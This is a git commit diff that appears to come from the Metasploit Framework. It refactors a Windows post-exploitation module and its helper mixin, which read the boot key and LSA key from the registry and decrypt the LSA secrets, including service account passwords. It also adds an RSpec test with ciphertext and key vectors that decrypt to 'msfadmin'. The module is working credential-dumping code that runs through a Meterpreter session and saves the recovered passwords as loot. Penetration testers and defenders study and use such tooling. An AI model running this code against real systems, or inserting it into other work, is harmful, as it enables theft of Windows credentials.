Refactor lsa and add a spec for its crypto methods

bug/bundler_fix
James Lee 2013-11-13 11:55:39 -06:00
parent 8f2ba68934
commit 3168359a82
No known key found for this signature in database
GPG Key ID: 2D6094C7CEA0A321
3 changed files with 151 additions and 80 deletions

View File

@ -92,7 +92,11 @@ module Msf::Post::Windows::Priv
basekey = "System\\CurrentControlSet\\Control\\Lsa"
%W{JD Skew1 GBG Data}.each do |k|
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ)
begin
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ)
rescue Rex::Post::Meterpreter::RequestError
end
return nil if not ok
bootkey << [ok.query_class.to_i(16)].pack("V")
ok.close
@ -155,26 +159,24 @@ module Msf::Post::Windows::Priv
# Returns the LSA key upon input of the unscrambled bootkey
#
def capture_lsa_key(bootkey)
begin
vprint_status("Getting PolSecretEncryptionKey...")
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Policy\\PolSecretEncryptionKey", KEY_READ)
pol = ok.query_value("").data
vprint_status("Got PolSecretEncryptionKey: #{pol.unpack("H*")[0]}")
ok.close
vprint_status("Getting PolSecretEncryptionKey...")
pol = registry_getvaldata("HKLM\\SECURITY\\Policy\\PolSecretEncryptionKey", "")
if pol
print_status("XP or below client")
@vista = 0
rescue
else
vprint_status("Trying 'V72' style...")
vprint_status("Getting PolEKList...")
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Policy\\PolEKList", KEY_READ)
pol = ok.query_value("").data
vprint_good("Pol: #{pol.unpack("H*")[0]}")
ok.close
pol = registry_getvaldata("HKLM\\SECURITY\\Policy\\PolEKList", "")
print_status("Vista or above client")
@vista = 1
end
# If that didn't work, then we're out of luck
return nil if pol.nil?
if( @vista == 1 )
vprint_good("Pol: #{pol.unpack("H*")[0]}")
if @vista == 1
lsakey = decrypt_lsa_data(pol, bootkey)
lsakey = lsakey[68,32]
vprint_good(lsakey.unpack("H*")[0])
@ -194,13 +196,15 @@ module Msf::Post::Windows::Priv
return lsakey
end
#
# Decrypts the LSA encrypted data
#
def decrypt_lsa_data(pol, encryptedkey)
# @param pol [String] The policy key stored in the registry
# @param encrypted_key [String]
# @return [String] The decrypted data
def decrypt_lsa_data(pol, encrypted_key)
sha256x = Digest::SHA256.new()
sha256x << encryptedkey
sha256x << encrypted_key
(1..1000).each do
sha256x << pol[28,32]
end
@ -216,17 +220,20 @@ module Msf::Post::Windows::Priv
aes.decrypt
aes.padding = 0
xx = aes.update(pol[i...i+16])
decrypted_data += xx
decrypted_data << xx
end
vprint_good("Dec_Key #{decrypted_data}")
return decrypted_data
end
# Decrypts "Secret" encrypted data
# Ruby implementation of SystemFunction005
# the original python code has been taken from Credump
#
# Ruby implementation of SystemFunction005. The original python code
# has been taken from Credump
#
# @param secret [String]
# @param key [String]
# @return [String] The decrypted data
def decrypt_secret_data(secret, key)
j = 0

View File

@ -30,79 +30,70 @@ class Metasploit3 < Msf::Post
))
end
def reg_getvaldata(key,valname)
v = nil
begin
root_key, base_key = client.sys.registry.splitkey(key)
open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ)
vprint_status("reading key: #{key}#{valname}\n")
v = open_key.query_value(valname).data
open_key.close
rescue
print_error("Error opening key!")
end
return v
end
# Decrypted LSA key is passed into this function
def get_secret(lsa_key)
output = "\n"
#Decrypted LSA key is passed into this function
def get_secret(lkey)
sec_str = "\n"
# LSA Secret key location within the registry
root_regkey = "HKLM\\Security\\Policy\\Secrets\\"
services_key = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\"
#LSA Secret key location within the register
root_key = "HKEY_LOCAL_MACHINE\\Security\\Policy\\Secrets\\"
secrets = registry_enumkeys(root_regkey)
key_arr = meterpreter_registry_enumkeys(root_key)
secrets.each do |secret_regkey|
sk_arr = registry_enumkeys(root_regkey + "\\" + secret_regkey)
next unless sk_arr
key_arr.each do |keys|
mid_key = root_key + "\\" + keys
sk_arr = meterpreter_registry_enumkeys(mid_key)
sk_arr.each do |mkeys|
#CurrVal stores the currently set value of the key, in the case of
#services it usually come out as plan text
if(mkeys == "CurrVal")
val_key = root_key + "\\" + keys + "\\" + mkeys
v_name = ""
sec = reg_getvaldata(val_key, v_name)
if( @vista == 1 )
#Magic happens here
sec = sec[0..-1]
sec = decrypt_lsa_data(sec, lkey)[1..-1].scan(/[[:print:]]/).join
else
#and here
sec = sec[0xC..-1]
sec = decrypt_secret_data(sec, lkey).scan(/[[:print:]]/).join
end
# CurrVal stores the currently set value of the key. In the case
# of services, this is usually the password for the service
# account.
next unless mkeys == "CurrVal"
if(sec.length > 0)
if(keys[0,4] == "_SC_")
user_key = "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\"
keys_c = keys[4,keys.length]
user_key = user_key << keys_c
n_val = "ObjectName"
user_n = reg_getvaldata(user_key, n_val)
val_key = root_regkey + "\\" + secret_regkey + "\\" + mkeys
encrypted_secret = registry_getvaldata(val_key, "")
#if the unencrypted value is not blank and is a service, print
print_good("Key: #{keys} \n Username: #{user_n} \n Decrypted Value: #{sec}\n")
sec_str = sec_str << "Key: #{keys} \n Username: #{user_n} \n Decrypted Value: #{sec}\n"
else
#if the unencrypted value is not blank, print
print_good("Key: #{keys} \n Decrypted Value: #{sec}\n")
sec_str = sec_str << "Key: #{keys} \n Decrypted Value: #{sec}\n"
end
else
next
end
if @vista == 1
# Magic happens here
decrypted = decrypt_lsa_data(encrypted_secret, lsa_key)
else
# and here
encrypted_secret = encrypted_secret[0xC..-1]
decrypted = decrypt_secret_data(encrypted_secret, lsa_key)
end
next unless decrypted.length > 0
# axe all the non-printables
decrypted = decrypted.scan(/[[:print:]]/).join
if secret_regkey.start_with?("_SC_")
# Service secrets are named like "_SC_yourmom" for a service
# with name "yourmom". Strip off the "_SC_" to get something
# we can lookup in the list of services to find out what
# account this secret is associated with.
svc_name = secret_regkey[4,secret_regkey.length]
svc_user = registry_getvaldata(services_key + svc_name, "ObjectName")
# if the unencrypted value is not blank and is a service, print
print_good("Key: #{secret_regkey}\n Username: #{svc_user} \n Decrypted Value: #{decrypted}\n")
output << "Key: #{secret_regkey}\n Username: #{svc_user} \n Decrypted Value: #{decrypted}\n"
else
# if the unencrypted value is not blank, print
print_good("Key: #{secret_regkey}\n Decrypted Value: #{decrypted}\n")
output << "Key: #{secret_regkey}\n Decrypted Value: #{decrypted}\n"
end
end
end
return sec_str
return output
end
# The sauce starts here
def run
hostname = session.sys.config.sysinfo['Computer']
hostname = sysinfo['Computer']
print_status("Executing module against #{hostname}")
print_status('Obtaining boot key...')
@ -110,10 +101,14 @@ class Metasploit3 < Msf::Post
vprint_status("Boot key: #{bootkey.unpack("H*")[0]}")
print_status('Obtaining Lsa key...')
lsakey = capture_lsa_key(bootkey)
vprint_status("Lsa Key: #{lsakey.unpack("H*")[0]}")
lsa_key = capture_lsa_key(bootkey)
if lsa_key.nil?
print_error("Could not retrieve LSA key. Are you SYSTEM?")
return
end
vprint_status("Lsa Key: #{lsa_key.unpack("H*")[0]}")
secrets = hostname << get_secret(lsakey)
secrets = hostname + get_secret(lsa_key)
print_status("Writing to loot...")

View File

@ -0,0 +1,69 @@
# -*- coding: binary -*-
require 'spec_helper'
require 'msf/core/post/windows/priv'
describe Msf::Post::Windows::Priv do
subject do
mod = Module.new
mod.extend described_class
mod.stub :vprint_status
mod.stub :print_status
mod
end
# For Vista and newer
describe "#decrypt_lsa_data" do
let(:ciphertext) do
# From "HKLM\\Security\\Policy\\Secrets\\"
"\x00\x00\x00\x01\x68\x6e\x97\x93\xdb\xdb\xde\xc8\xf7\x40\x08\x79"+
"\x9d\x91\x64\x1c\x03\x00\x00\x00\x00\x00\x00\x00\x68\x38\x3f\xc5"+
"\x94\x10\xac\xcf\xbe\xf7\x8d\x12\xc0\xd5\xa2\x9d\x3d\x30\x30\xa8"+
"\x6d\xbd\xc6\x48\xd3\xe4\x36\x33\x86\x91\x0d\x8d\x8f\xfc\xd4\x8a"+
"\x87\x0c\x83\xde\xb4\x73\x9e\x21\x1b\x39\xef\x04\x36\x67\x97\x8a"+
"\x43\x40\x79\xcf\xdb\x3d\xcc\xfe\x10\x0c\x78\x11\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
end
let(:lsa_key) do
"\x93\x19\xb7\xb3\x93\x5b\xcb\x53\x5c\xb0\x54\xce\x0f\x5e\x27\xfd"+
"\x4f\xd1\xe3\xd3\x5b\x8c\x90\x4c\x13\xda\xb8\x39\xcc\x4e\x28\x43"
end
let(:plaintext) do
# Length of actual data?
"\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
# Unicode msfadmin
"\x6d\x00\x73\x00\x66\x00\x61\x00\x64\x00\x6d\x00\x69\x00\x6e\x00"+
# As far as I can tell, the rest of the data is gibberish?
# Possibly random padding, since plaintext seems to always be a
# multiple of 16 bytes.
"\xc3\x5f\x85\xc2\x62\x55\x25\x6c\x42\x89\x88\xc1\xe0\xe8\x17\x5e"
end
it "should produce expected plaintext" do
decrypted = subject.decrypt_lsa_data(ciphertext, lsa_key)
decrypted.should == plaintext
end
end
# For XP and older
describe "#decrypt_secret_data" do
let(:ciphertext) do
# From "HKLM\\Security\\Policy\\Secrets\\"
"\x22\xea\xc4\xd8\xfc\x5d\x36\xf4\x2e\x8b\xd3\x0f\x5d\xbc\xc4\x3a" +
"\x37\x4b\x84\xea\xa0\xc0\x96\x61"
end
let(:boot_key) do
"\x27\x18\x0a\x2e\xe0\xfb\x98\x52\x77\x06\x24\x8e\x21\x80\xf4\x56"
end
let(:plaintext) do
# Unicode "msfadmin"
"\x6d\x00\x73\x00\x66\x00\x61\x00\x64\x00\x6d\x00\x69\x00\x6e\x00"
end
it "should produce expected plaintext" do
subject.decrypt_secret_data(ciphertext, boot_key).should == plaintext
end
end
end